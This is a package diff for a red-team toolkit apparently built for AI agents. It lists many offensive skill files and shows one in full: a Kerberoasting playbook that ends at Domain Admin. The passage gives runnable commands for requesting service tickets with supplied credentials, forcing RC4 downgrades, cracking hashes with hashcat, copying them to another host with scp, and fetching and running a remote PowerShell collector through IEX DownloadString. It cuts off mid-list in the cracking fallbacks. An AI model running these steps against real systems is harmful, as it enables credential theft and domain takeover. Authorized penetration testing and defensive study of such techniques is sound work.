rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,573 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-scenario-n001
|
|
3
|
+
description: "N-001: Kerberoasting → Service Account Compromise → Domain Admin. Domain: network. Attack chain: enumerate service accounts with SPNs → request TGS tickets → save to file → hashcat crack → use service account → find path to Domain Admin via BloodHound. MITRE: T1558.003 → T1110.002 → T1078.002. Real example: SQLSvc has admin rights on DC → Kerberoast → crack password → PSexec to DC → domain admin"
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# N-001: Kerberoasting → Service Account Compromise → Domain Admin
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
**Attack Objective:** Compromise a domain-joined service account by requesting and cracking its Kerberos TGS ticket (Kerberoasting), then leveraging that account's privileges — or a BloodHound-identified path — to achieve Domain Admin access.
|
|
11
|
+
|
|
12
|
+
**Required Access Level:** Low (any valid domain user account suffices; no elevated privileges required to enumerate or request tickets)
|
|
13
|
+
|
|
14
|
+
**Estimated Time to Execute:**
|
|
15
|
+
- Enumeration + ticket request: 5–15 minutes
|
|
16
|
+
- Offline cracking: 15 minutes to several hours (hardware and password complexity dependent)
|
|
17
|
+
- Lateral movement to Domain Admin: 15–60 minutes
|
|
18
|
+
|
|
19
|
+
**Detection Risk Level:** Medium
|
|
20
|
+
- Ticket requests are normal Kerberos traffic, but requesting RC4-encrypted tickets for many SPNs is anomalous
|
|
21
|
+
- Offline cracking leaves no network footprint
|
|
22
|
+
- PSexec and lateral movement phase is higher risk (High)
|
|
23
|
+
|
|
24
|
+
---
|
|
25
|
+
|
|
26
|
+
## Prerequisites
|
|
27
|
+
|
|
28
|
+
### Required Tools
|
|
29
|
+
|
|
30
|
+
```bash
|
|
31
|
+
# Impacket suite (GetUserSPNs, PSexec, secretsdump)
|
|
32
|
+
pip install impacket
|
|
33
|
+
# or clone from source
|
|
34
|
+
git clone https://github.com/fortra/impacket.git && cd impacket && pip install .
|
|
35
|
+
|
|
36
|
+
# BloodHound + SharpHound collector
|
|
37
|
+
# BloodHound CE (Docker):
|
|
38
|
+
docker pull specterops/bloodhound
|
|
39
|
+
# or download BloodHound legacy: https://github.com/BloodHoundAD/BloodHound/releases
|
|
40
|
+
|
|
41
|
+
# SharpHound (run on target, Windows)
|
|
42
|
+
# Download: https://github.com/BloodHoundAD/SharpHound/releases
|
|
43
|
+
# Invoke-BloodHound (PowerShell):
|
|
44
|
+
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1')
|
|
45
|
+
|
|
46
|
+
# Hashcat
|
|
47
|
+
# Linux:
|
|
48
|
+
sudo apt install hashcat
|
|
49
|
+
# Windows: https://hashcat.net/hashcat/
|
|
50
|
+
|
|
51
|
+
# CrackMapExec (lateral movement verification)
|
|
52
|
+
pip install crackmapexec
|
|
53
|
+
# or: pipx install crackmapexec
|
|
54
|
+
|
|
55
|
+
# Rubeus (Windows-native Kerberoasting alternative)
|
|
56
|
+
# Download: https://github.com/GhostPack/Rubeus/releases
|
|
57
|
+
|
|
58
|
+
# PowerView (AD enumeration)
|
|
59
|
+
# Download: https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
### Required Access or Conditions
|
|
63
|
+
|
|
64
|
+
- A valid domain user account (standard user, no special privileges required)
|
|
65
|
+
- Network connectivity to a Domain Controller (ports 88/TCP Kerberos, 389/TCP LDAP, 445/TCP SMB)
|
|
66
|
+
- At least one service account with a registered SPN that uses RC4 (or AES, crackable but slower) encryption
|
|
67
|
+
- Authorization: written permission (Rules of Engagement) for the target domain
|
|
68
|
+
|
|
69
|
+
### Skill Level
|
|
70
|
+
|
|
71
|
+
**INTERMEDIATE** — Requires familiarity with Active Directory concepts (SPNs, Kerberos, TGS), command-line tools, and hashcat usage. BloodHound analysis requires understanding of AD attack paths.
|
|
72
|
+
|
|
73
|
+
---
|
|
74
|
+
|
|
75
|
+
## Attack Chain
|
|
76
|
+
|
|
77
|
+
```
|
|
78
|
+
[Domain User Account]
|
|
79
|
+
|
|
|
80
|
+
v
|
|
81
|
+
[1] Enumerate service accounts with SPNs
|
|
82
|
+
(GetUserSPNs.py / PowerView / Rubeus)
|
|
83
|
+
|
|
|
84
|
+
v
|
|
85
|
+
[2] Request TGS tickets for target SPNs
|
|
86
|
+
(Kerberoasting — T1558.003)
|
|
87
|
+
|
|
|
88
|
+
v
|
|
89
|
+
[3] Save hashes to file
|
|
90
|
+
(offline — no further network interaction needed)
|
|
91
|
+
|
|
|
92
|
+
v
|
|
93
|
+
[4] Crack hashes offline with hashcat
|
|
94
|
+
(Brute Force / Dictionary — T1110.002)
|
|
95
|
+
|
|
|
96
|
+
v
|
|
97
|
+
[5] Authenticate as compromised service account
|
|
98
|
+
(Valid Accounts: Domain Accounts — T1078.002)
|
|
99
|
+
|
|
|
100
|
+
v
|
|
101
|
+
[6] Run BloodHound to map path to Domain Admin
|
|
102
|
+
|
|
|
103
|
+
v
|
|
104
|
+
[7] Execute lateral movement / privilege escalation path
|
|
105
|
+
|
|
|
106
|
+
v
|
|
107
|
+
[DOMAIN ADMIN]
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
**MITRE ATT&CK Chain:** T1558.003 → T1110.002 → T1078.002
|
|
111
|
+
|
|
112
|
+
---
|
|
113
|
+
|
|
114
|
+
## Step-by-Step Execution
|
|
115
|
+
|
|
116
|
+
### Step 1: Enumerate Service Accounts with SPNs
|
|
117
|
+
|
|
118
|
+
**Objective:** Identify accounts that have a Service Principal Name (SPN) registered — these are Kerberoastable.
|
|
119
|
+
|
|
120
|
+
**Option A — From Linux (Impacket):**
|
|
121
|
+
```bash
|
|
122
|
+
GetUserSPNs.py -dc-ip 192.168.1.10 CORP.LOCAL/jsmith:Password123 -outputfile spns_found.txt
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
**Option B — From Windows (PowerView):**
|
|
126
|
+
```powershell
|
|
127
|
+
Import-Module .\PowerView.ps1
|
|
128
|
+
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, description
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
**Option C — From Windows (native LDAP query):**
|
|
132
|
+
```powershell
|
|
133
|
+
setspn -Q */* | findstr /i "CN="
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
**Option D — From Windows (Rubeus):**
|
|
137
|
+
```powershell
|
|
138
|
+
.\Rubeus.exe kerberoast /stats
|
|
139
|
+
```
|
|
140
|
+
|
|
141
|
+
**Expected Output (Impacket):**
|
|
142
|
+
```
|
|
143
|
+
ServicePrincipalName Name MemberOf PasswordLastSet
|
|
144
|
+
---------------------------------- ------- -------------------------------- -------------------
|
|
145
|
+
MSSQLSvc/sql01.corp.local:1433 SQLSvc CN=Domain Admins,CN=Users,... 2022-03-15 09:12:33
|
|
146
|
+
HTTP/webapp01.corp.local WebSvc CN=Web Servers,CN=Groups,... 2023-01-10 14:05:11
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
**What to look for:**
|
|
150
|
+
- Accounts with weak or old passwords (PasswordLastSet far in the past)
|
|
151
|
+
- Accounts with high-value group memberships (Domain Admins, Administrators, etc.)
|
|
152
|
+
- RC4-encrypted tickets (type 0x17) — faster to crack than AES
|
|
153
|
+
|
|
154
|
+
**Fallback:** If LDAP is blocked on 389, try 636 (LDAPS) or use `-no-pass` with a hash if you have one.
|
|
155
|
+
|
|
156
|
+
---
|
|
157
|
+
|
|
158
|
+
### Step 2: Request TGS Tickets (Kerberoast)
|
|
159
|
+
|
|
160
|
+
**Objective:** Request Kerberos TGS tickets for the identified SPNs. The ticket is encrypted with the service account's password hash — we can crack it offline.
|
|
161
|
+
|
|
162
|
+
**Option A — From Linux (Impacket, all SPNs):**
|
|
163
|
+
```bash
|
|
164
|
+
GetUserSPNs.py -dc-ip 192.168.1.10 CORP.LOCAL/jsmith:Password123 -request -outputfile kerberoast_hashes.txt
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
**Option B — Target a specific account:**
|
|
168
|
+
```bash
|
|
169
|
+
GetUserSPNs.py -dc-ip 192.168.1.10 CORP.LOCAL/jsmith:Password123 -request-user SQLSvc -outputfile sqlsvc_hash.txt
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
**Option C — From Windows (Rubeus, RC4 downgrade for faster cracking):**
|
|
173
|
+
```powershell
|
|
174
|
+
.\Rubeus.exe kerberoast /rc4opsec /outfile:kerberoast_hashes.txt
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
**Option D — From Windows (Invoke-Kerberoast via PowerView):**
|
|
178
|
+
```powershell
|
|
179
|
+
Import-Module .\PowerView.ps1
|
|
180
|
+
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File -FilePath kerberoast_hashes.txt -Encoding ASCII
|
|
181
|
+
```
|
|
182
|
+
|
|
183
|
+
**Expected Output (hash file):**
|
|
184
|
+
```
|
|
185
|
+
$krb5tgs$23$*SQLSvc$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$A1B2C3D4E5F6...
|
|
186
|
+
[long hash string]
|
|
187
|
+
```
|
|
188
|
+
|
|
189
|
+
Hash type `$krb5tgs$23$` = RC4 (hashcat mode 13100 — faster)
|
|
190
|
+
Hash type `$krb5tgs$18$` = AES256 (hashcat mode 19700 — slower)
|
|
191
|
+
|
|
192
|
+
**Fallback:** If the account enforces AES-only, the ticket will be AES-encrypted. Still crackable but requires a larger wordlist and more time. Use `/enctype:rc4` in Rubeus only if the account's `msDS-SupportedEncryptionTypes` allows RC4.
|
|
193
|
+
|
|
194
|
+
---
|
|
195
|
+
|
|
196
|
+
### Step 3: Save Hashes to File
|
|
197
|
+
|
|
198
|
+
Hashes are already saved via `-outputfile` in Step 2. Verify:
|
|
199
|
+
|
|
200
|
+
```bash
|
|
201
|
+
cat kerberoast_hashes.txt
|
|
202
|
+
# Confirm at least one complete hash line starting with $krb5tgs$
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
**Transfer to cracking machine if needed:**
|
|
206
|
+
```bash
|
|
207
|
+
scp kerberoast_hashes.txt cracker@192.168.50.5:/opt/cracking/
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
---
|
|
211
|
+
|
|
212
|
+
### Step 4: Crack Hashes Offline with Hashcat
|
|
213
|
+
|
|
214
|
+
**Objective:** Recover plaintext passwords from the captured TGS ticket hashes.
|
|
215
|
+
|
|
216
|
+
**Mode 13100 = RC4 (etype 23), Mode 19700 = AES256 (etype 18)**
|
|
217
|
+
|
|
218
|
+
**Step 4a — Dictionary attack with rockyou:**
|
|
219
|
+
```bash
|
|
220
|
+
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force
|
|
221
|
+
```
|
|
222
|
+
|
|
223
|
+
**Step 4b — Dictionary + rules (recommended for service accounts):**
|
|
224
|
+
```bash
|
|
225
|
+
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
|
|
226
|
+
```
|
|
227
|
+
|
|
228
|
+
**Step 4c — Corporate password pattern (common for service accounts: CompanyName+Year+!):**
|
|
229
|
+
```bash
|
|
230
|
+
# Create custom wordlist
|
|
231
|
+
cat > corp_patterns.txt << EOF
|
|
232
|
+
Winter2022
|
|
233
|
+
Winter2023
|
|
234
|
+
Summer2022
|
|
235
|
+
Summer2023
|
|
236
|
+
Company2022!
|
|
237
|
+
Company2023!
|
|
238
|
+
ServiceAcct1
|
|
239
|
+
SQL2019!
|
|
240
|
+
EOF
|
|
241
|
+
|
|
242
|
+
hashcat -m 13100 kerberoast_hashes.txt corp_patterns.txt -r /usr/share/hashcat/rules/best64.rule --force
|
|
243
|
+
```
|
|
244
|
+
|
|
245
|
+
**Step 4d — AES256 hashes:**
|
|
246
|
+
```bash
|
|
247
|
+
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
|
|
248
|
+
```
|
|
249
|
+
|
|
250
|
+
**Show cracked passwords:**
|
|
251
|
+
```bash
|
|
252
|
+
hashcat -m 13100 kerberoast_hashes.txt --show
|
|
253
|
+
```
|
|
254
|
+
|
|
255
|
+
**Expected Output:**
|
|
256
|
+
```
|
|
257
|
+
$krb5tgs$23$*SQLSvc$CORP.LOCAL$...*:<long hash>:SQL2019!
|
|
258
|
+
```
|
|
259
|
+
|
|
260
|
+
Cracked password: `SQL2019!`
|
|
261
|
+
|
|
262
|
+
**Fallback:** If rockyou fails, try:
|
|
263
|
+
- `hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule`
